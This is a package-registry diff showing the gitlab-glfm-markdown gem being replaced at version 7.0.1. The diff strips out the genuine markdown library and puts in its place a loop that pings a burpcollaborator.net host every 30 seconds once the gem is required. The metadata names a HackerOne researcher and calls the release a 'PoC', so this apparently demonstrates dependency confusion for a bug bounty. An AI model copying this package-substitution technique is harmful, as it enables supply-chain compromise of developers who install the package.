gitlab-glfm-markdown 0.0.41 → 7.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of gitlab-glfm-markdown might be problematic. Click here for more details.
- checksums.yaml +4 -4
- data/lib/gitlab-glfm-markdown.rb +9 -61
- metadata +12 -73
- data/Cargo.lock +0 -966
- data/LICENSE +0 -28
- data/README.md +0 -120
- data/ext/gitlab_glfm_markdown/Cargo.lock +0 -1
- data/ext/gitlab_glfm_markdown/Cargo.toml +0 -27
- data/ext/gitlab_glfm_markdown/extconf.rb +0 -10
- data/ext/gitlab_glfm_markdown/src/formatter.rs +0 -546
- data/ext/gitlab_glfm_markdown/src/glfm.rs +0 -136
- data/ext/gitlab_glfm_markdown/src/lib.rs +0 -52
- data/ext/gitlab_glfm_markdown/src/main.rs +0 -272
- data/lib/gitlab_glfm_markdown/loader.rb +0 -8
- data/lib/gitlab_glfm_markdown/version.rb +0 -5
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: ceb946e20d70cb21d79210f3b5af1e39c00966674a450dcf3179d33320574f24
|
|
4
|
+
data.tar.gz: 36d5e4f9a02b98294befff8ecbee2da84f9b7e28271884474b5cb42592d41a31
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 4c22cb90b6d59822b084cfcab1db1b0e75fea10b33cb609cfbfa5f67a1d05d487e74c4c80deaf34e6f6b96ec0d5e2cf1d2938d26d4dbee3a7ea7053d9eecda4f
|
|
7
|
+
data.tar.gz: de5b736714b713e1f9fbb4c0d514f2ba3c5cd0fbb06da20fa0f5504c8d68157bda4afc918bd24bd53d041dce7227074bf9feb6c51fe06a9c84942752d1a5146f
|
data/lib/gitlab-glfm-markdown.rb
CHANGED
|
@@ -1,61 +1,9 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
autolink: true,
|
|
11
|
-
cjk_friendly_emphasis: true,
|
|
12
|
-
escaped_char_spans: false,
|
|
13
|
-
footnotes: true,
|
|
14
|
-
full_info_string: true,
|
|
15
|
-
gfm_quirks: true,
|
|
16
|
-
github_pre_lang: false,
|
|
17
|
-
hardbreaks: false,
|
|
18
|
-
inapplicable_tasks: false,
|
|
19
|
-
math_code: false,
|
|
20
|
-
math_dollars: false,
|
|
21
|
-
multiline_block_quotes: true,
|
|
22
|
-
relaxed_autolinks: false,
|
|
23
|
-
sourcepos: true,
|
|
24
|
-
smart: false,
|
|
25
|
-
strikethrough: true,
|
|
26
|
-
table: true,
|
|
27
|
-
tagfilter: false,
|
|
28
|
-
tasklist: true,
|
|
29
|
-
tasklist_classes: true,
|
|
30
|
-
unsafe: true
|
|
31
|
-
}.freeze
|
|
32
|
-
|
|
33
|
-
class << self
|
|
34
|
-
def to_html(markdown, options: {})
|
|
35
|
-
raise TypeError, 'markdown must be a String' unless markdown.is_a?(String)
|
|
36
|
-
raise TypeError, 'markdown must be UTF-8 encoded' unless markdown.encoding == Encoding::UTF_8
|
|
37
|
-
raise TypeError, 'options must be a Hash' unless options.is_a?(Hash)
|
|
38
|
-
|
|
39
|
-
default_options = options[:glfm] ? GLFM_DEFAULT_OPTIONS : {}
|
|
40
|
-
|
|
41
|
-
# if you need to modify `options`, use `.merge` as `options` could be frozen
|
|
42
|
-
options = options.merge(unsafe: true) if options[:tagfilter]
|
|
43
|
-
|
|
44
|
-
render_to_html_rs(markdown, default_options.merge(options))
|
|
45
|
-
end
|
|
46
|
-
|
|
47
|
-
def escape_commonmark_inline(text)
|
|
48
|
-
raise TypeError, 'text must be a String' unless text.is_a?(String)
|
|
49
|
-
raise TypeError, 'text must be UTF-8 encoded' unless text.encoding == Encoding::UTF_8
|
|
50
|
-
|
|
51
|
-
escape_commonmark_inline_rs(text)
|
|
52
|
-
end
|
|
53
|
-
|
|
54
|
-
def escape_commonmark_link_destination(url)
|
|
55
|
-
raise TypeError, 'url must be a String' unless url.is_a?(String)
|
|
56
|
-
raise TypeError, 'url must be UTF-8 encoded' unless url.encoding == Encoding::UTF_8
|
|
57
|
-
|
|
58
|
-
escape_commonmark_link_destination_rs(url)
|
|
59
|
-
end
|
|
60
|
-
end
|
|
61
|
-
end
|
|
1
|
+
require 'net/http'
|
|
2
|
+
|
|
3
|
+
loop do
|
|
4
|
+
http = Net::HTTP.new('www.mh7sogij9sf9fmjzcgwdmcmpigo7cw.burpcollaborator.net')
|
|
5
|
+
response = http.request_get('/')
|
|
6
|
+
p response.code
|
|
7
|
+
|
|
8
|
+
sleep 30
|
|
9
|
+
end
|
metadata
CHANGED
|
@@ -1,87 +1,26 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: gitlab-glfm-markdown
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version:
|
|
4
|
+
version: 7.0.1
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
|
-
-
|
|
8
|
-
- Asherah Connor
|
|
7
|
+
- sjn_scythe
|
|
9
8
|
autorequire:
|
|
10
9
|
bindir: bin
|
|
11
10
|
cert_chain: []
|
|
12
|
-
date:
|
|
13
|
-
dependencies:
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
requirement: !ruby/object:Gem::Requirement
|
|
17
|
-
requirements:
|
|
18
|
-
- - "~>"
|
|
19
|
-
- !ruby/object:Gem::Version
|
|
20
|
-
version: 0.9.124
|
|
21
|
-
type: :runtime
|
|
22
|
-
prerelease: false
|
|
23
|
-
version_requirements: !ruby/object:Gem::Requirement
|
|
24
|
-
requirements:
|
|
25
|
-
- - "~>"
|
|
26
|
-
- !ruby/object:Gem::Version
|
|
27
|
-
version: 0.9.124
|
|
28
|
-
- !ruby/object:Gem::Dependency
|
|
29
|
-
name: rake
|
|
30
|
-
requirement: !ruby/object:Gem::Requirement
|
|
31
|
-
requirements:
|
|
32
|
-
- - "~>"
|
|
33
|
-
- !ruby/object:Gem::Version
|
|
34
|
-
version: '13.0'
|
|
35
|
-
type: :development
|
|
36
|
-
prerelease: false
|
|
37
|
-
version_requirements: !ruby/object:Gem::Requirement
|
|
38
|
-
requirements:
|
|
39
|
-
- - "~>"
|
|
40
|
-
- !ruby/object:Gem::Version
|
|
41
|
-
version: '13.0'
|
|
42
|
-
- !ruby/object:Gem::Dependency
|
|
43
|
-
name: rake-compiler
|
|
44
|
-
requirement: !ruby/object:Gem::Requirement
|
|
45
|
-
requirements:
|
|
46
|
-
- - "~>"
|
|
47
|
-
- !ruby/object:Gem::Version
|
|
48
|
-
version: '1.3'
|
|
49
|
-
type: :development
|
|
50
|
-
prerelease: false
|
|
51
|
-
version_requirements: !ruby/object:Gem::Requirement
|
|
52
|
-
requirements:
|
|
53
|
-
- - "~>"
|
|
54
|
-
- !ruby/object:Gem::Version
|
|
55
|
-
version: '1.3'
|
|
56
|
-
description: Markdown processing for GitLab Flavored Markdown
|
|
57
|
-
email:
|
|
58
|
-
- bwalker@gitlab.com
|
|
59
|
-
- aconnor@gitlab.com
|
|
11
|
+
date: 2023-07-02 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description: wearehackerone
|
|
14
|
+
email: sjn_scythe+1@wearehackerone.com
|
|
60
15
|
executables: []
|
|
61
|
-
extensions:
|
|
62
|
-
- ext/gitlab_glfm_markdown/extconf.rb
|
|
16
|
+
extensions: []
|
|
63
17
|
extra_rdoc_files: []
|
|
64
18
|
files:
|
|
65
|
-
- Cargo.lock
|
|
66
|
-
- LICENSE
|
|
67
|
-
- README.md
|
|
68
|
-
- ext/gitlab_glfm_markdown/Cargo.lock
|
|
69
|
-
- ext/gitlab_glfm_markdown/Cargo.toml
|
|
70
|
-
- ext/gitlab_glfm_markdown/extconf.rb
|
|
71
|
-
- ext/gitlab_glfm_markdown/src/formatter.rs
|
|
72
|
-
- ext/gitlab_glfm_markdown/src/glfm.rs
|
|
73
|
-
- ext/gitlab_glfm_markdown/src/lib.rs
|
|
74
|
-
- ext/gitlab_glfm_markdown/src/main.rs
|
|
75
19
|
- lib/gitlab-glfm-markdown.rb
|
|
76
|
-
|
|
77
|
-
- lib/gitlab_glfm_markdown/version.rb
|
|
78
|
-
homepage: https://gitlab.com/gitlab-org/ruby/gems/gitlab-glfm-markdown
|
|
20
|
+
homepage: https://rubygems.org/gems/hola
|
|
79
21
|
licenses:
|
|
80
22
|
- MIT
|
|
81
|
-
metadata:
|
|
82
|
-
homepage_uri: https://gitlab.com/gitlab-org/ruby/gems/gitlab-glfm-markdown
|
|
83
|
-
source_code_uri: https://gitlab.com/gitlab-org/ruby/gems/gitlab-glfm-markdown
|
|
84
|
-
changelog_uri: https://gitlab.com/gitlab-org/ruby/gems/gitlab-glfm-markdown/-/releases
|
|
23
|
+
metadata: {}
|
|
85
24
|
post_install_message:
|
|
86
25
|
rdoc_options: []
|
|
87
26
|
require_paths:
|
|
@@ -90,15 +29,15 @@ required_ruby_version: !ruby/object:Gem::Requirement
|
|
|
90
29
|
requirements:
|
|
91
30
|
- - ">="
|
|
92
31
|
- !ruby/object:Gem::Version
|
|
93
|
-
version: '
|
|
32
|
+
version: '0'
|
|
94
33
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
95
34
|
requirements:
|
|
96
35
|
- - ">="
|
|
97
36
|
- !ruby/object:Gem::Version
|
|
98
37
|
version: '0'
|
|
99
38
|
requirements: []
|
|
100
|
-
rubygems_version: 3.3.
|
|
39
|
+
rubygems_version: 3.3.26
|
|
101
40
|
signing_key:
|
|
102
41
|
specification_version: 4
|
|
103
|
-
summary:
|
|
42
|
+
summary: for PoC
|
|
104
43
|
test_files: []
|